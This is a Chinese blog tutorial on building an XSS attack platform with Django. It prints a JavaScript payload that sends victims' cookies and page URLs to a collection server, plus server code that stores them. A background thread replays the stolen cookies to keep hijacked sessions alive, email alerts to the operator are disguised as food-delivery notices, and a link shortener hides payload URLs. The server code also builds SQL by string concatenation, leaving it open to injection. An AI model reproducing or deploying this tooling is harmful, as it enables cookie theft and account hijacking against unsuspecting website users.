使用Django简单编写一个XSS平台

时间：2022-05-23 05:12:49

1) 简要描述

       原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

  • XSS攻击基本原理和利用方法
  • Django框架的使用

3) Let's start

0x01

       工欲善其事必先利其器，首先我们需要准备编写代码的各种工具和环境，这里不细说。我这里的环境和工具如下：

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • Django 2.1.3

       需要用到的第三方库：

  • django
  • pymysql
  • requests

0x02

       我们先看一下XSS脚本是如何工作的

var website="http://127.0.0.1";

(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();

       这段代码非常简单，就是通过javascript获取有用信息，然后通过访问xss平台将信息作为GET参数传给服务器。

       注意：这里使用AJAX可能会出现CORS跨域问题。

0x03

       先给出关键代码，其他都是Django相关的内容，这里不做相关讨论。

"""

根据url值动态返回相应的javascript代码

"""

import pymysql,os

from user.safeio import re_check

def get_info(url):

    if not re_check(url,'num_letter'):

        return 'default'

    db = pymysql.connect('localhost','root','root','xss')

    cursor = db.cursor()

    cursor.execute("Select name From projects Where url='"+url+"'")

    js_name = cursor.fetchone()[0]

    if js_name == None:

        return 'default'

    else:

        return (js_name)

def get_js_value(url):

    js_name = get_info(url)

    file = '\\script\\'+js_name + '.js'

    js_value = open(os.getcwd()+file).read()

    js_value = js_value.replace('<-1234->',url)

    return js_value
import pymysql,time

from .getscript import get_info

def connect():

    try:

        db = pymysql.connect('localhost', 'root', 'root', 'xss')

        cursor = db.cursor()

        return db,cursor

    except:

        print('连接数据库失败，正在尝试重新连接')

        connect()

def put_letter(requests,url):

    now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]

    if 'HTTP_X_FORWARDED_FOR' in requests.META:

        ip = requests.META['HTTP_X_FORWARDED_FOR']

    else:

        try:

            ip = requests.META['REMOTE_ADDR']

        except:

            ip = '0.0.0.0'

    ip = ip.replace("'","\'")

    origin = requests.GET.get('location','Unknown').replace("'","\'")

    software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")

    method = requests.method.replace("'","\'")

    data = requests.GET.get('cookie','No data').replace("'","\'")

    keep_alive = requests.GET.get('keepsession','0').replace("'","\'")

    list = [now_time,ip,origin,software,method,data,keep_alive]

    put_mysql(list,url)

def put_mysql(list,url):

    db,cursor = connect()

    name = get_info(url)

    cursor.execute("Select user From projects Where url='"+url+"'")

    user = cursor.fetchone()[0]

    m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"

    m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])

    cursor.execute(m_query)

    db.commit()

    db.close()

def get_letters(username):

    db, cursor = connect()

    m_query = "SELECT * FROM letters WHERE user = '{}'"

    m_query = m_query.format(username)

    cursor.execute(m_query)

    result_list = cursor.fetchall()

    return result_list

       既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台，我们只需在服务器接受数据并保存即可。

0x04

       我们可以为我们的平台编写新的功能以完善我们的平台，如邮件提醒，cookie活性保持等

#coding=utf-8

'''

邮件发送

'''

import smtplib

from email.mime.text import MIMEText

from email.utils import formataddr

my_sender='xxxx'

my_pass = 'xxxx'

def send_mail(user_mail):

    try:

        print(user_mail)

        msg=MIMEText('您点的外卖已送达，请登录平台查询','plain','utf-8')

        msg['From']=formataddr(["XSS平台",my_sender])

        msg['To']=formataddr(["顾客",user_mail])

        msg['Subject']="您点的外卖已送达，请登录平台查询"

        server=smtplib.SMTP_SSL("smtp.qq.com", 465)

        server.login(my_sender, my_pass)

        server.sendmail(my_sender,[user_mail,],msg.as_string())

        server.quit()

    except Exception:

        pass
'''

使用独立于主线程的其他线程

来保持通用项目的cookie信息'活性'

默认保持一个小时的活性

'''

import requests,queue,time,pymysql

Cookie_Time = 1

def decrease(time,number):

    if time < number:

        time = '0'+str(time)

    else:

        time = str(time)

    return time

def count_time(now_time):

    global Cookie_Time

    year = int(now_time[0:2])

    month = int(now_time[3:5])

    day = int(now_time[6:8])

    hours = int(now_time[9:11])

    if hours < Cookie_Time:

        if day == 1:

            if month == 1:

                month=12

                year -= 1

            else:

                day=30

                month -= 1

        else:

            day -= 1

            hours += 19

    else:

        hours -= 5

    hours = decrease(hours,10)

    day = decrease(day,10)

    month = decrease(month,10)

    year = decrease(year,10)

    dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]

    return dec_time

def create_queue():

    Cookie_queue = queue.Queue()

    now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]

    dec_time = count_time(now_time)

    m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)

    db = pymysql.connect('127.0.0.1','root','root','xss')

    cursor = db.cursor()

    cursor.execute(m_query)

    return_list = cursor.fetchall()

    for x in return_list:

        Cookie_queue.put(x)

    return Cookie_queue

def action():

    while True:

        time.sleep(60)

        task_queue = create_queue()

        while not task_queue.empty():

            tasks = task_queue.get()

            url = tasks[1]

            ua = tasks[0]

            cookie = tasks[2]

            headers = {'User-Agent': ua, 'Cookie': cookie}

            try:

                requests.get(url, headers=headers)

            except:

                pass

       注意这里需要使用独立于django主线程的子线程，比如我在manager.py里添加了这么一段代码：

import threading

from xssplatform.keep_alive import action

class keep_Thread(threading.Thread):

    def __init__(self):

        super(keep_Thread,self).__init__()

    def run(self):

        action()

if __name__ == '__main__':

    th = keep_Thread()

    th.start()

短链接：

'''

短链接生成

接口c7.gg

'''

import requests,json

Headers = {

    "accept" : "application/json, text/javascript, */*; q=0.01",

    "accept-encoding" : "gzip, deflate, br",

    "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",

    "content-length" : "53",

    "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",

    "origin" : "https://www.985.so",

    "referer" : "https://www.985.so/",

    "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",

}

def url_to_short(url):

    global Headers

    data = {'type':'c7','url':url}

    r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)

    list = json.loads(r.text)

    return list['list']

4) 最后

       其实看起来高大上的XSS平台原理就那么简单，真正难的部分是关于XSS跨站脚本的编写。

       此项目已开源于Github，有任何问题可以提交issue，我会在第一时间进行回复。

       我不会不断更新此项目，感兴趣的朋友可以多多关注我的博客。

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